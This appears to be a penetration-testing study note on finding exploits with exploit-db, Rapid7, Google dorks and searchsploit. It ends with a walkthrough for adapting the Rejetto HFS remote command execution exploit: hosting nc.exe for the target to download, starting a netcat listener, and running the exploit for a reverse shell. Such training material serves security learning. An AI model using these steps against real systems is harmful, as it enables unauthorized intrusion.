Search Exploits:

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https://www.exploit-db.com

https://www.rapid7.com/db/

Google Dorks:

vsftpd 2.3.4 site:exploit-db.com

Searchsploit

contains the entire Exploit-db database of exploits comes pre-packaged with Kali Linux.

They're stored in: /usr/share/exploitdb/exploits/

! 1000

How to search:

-c search with case sensitive.

searchsploit -c OpenSSH

-t search for only exploits that contains "Buffer Overflow" in the title.

searchsploit -t Buffer Overflow

-e exact anything.

searchsploit -e "Window XP"

Filter for remote exploits on windows hosts running SMB service.

searchsploit remote windows smb

Copy an exploit from its PATH to current working directory:

searchsploit -m /PATH

Show Exploit URL instead of EDBID:

searchsploit -w vsftpd

Exploit tweaking Example:

for this exploit:

Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2) | windows/remote/39161.py

1. We changed the "ip_addr" and "local_port" variables.

2. We want to host the nc.exe on a webserver as the exploit will download it to the target system

   cp /usr/share/windows-resources/binaries/nc.exe /root/Desktop
   python3 -m http.server 80

3. Now create a netcat listener with the same port we specified in the variable in the exploit:

   nc -nvlp 7777

4. Now execute the exploit with python 39161.py <target_ip> <target_port>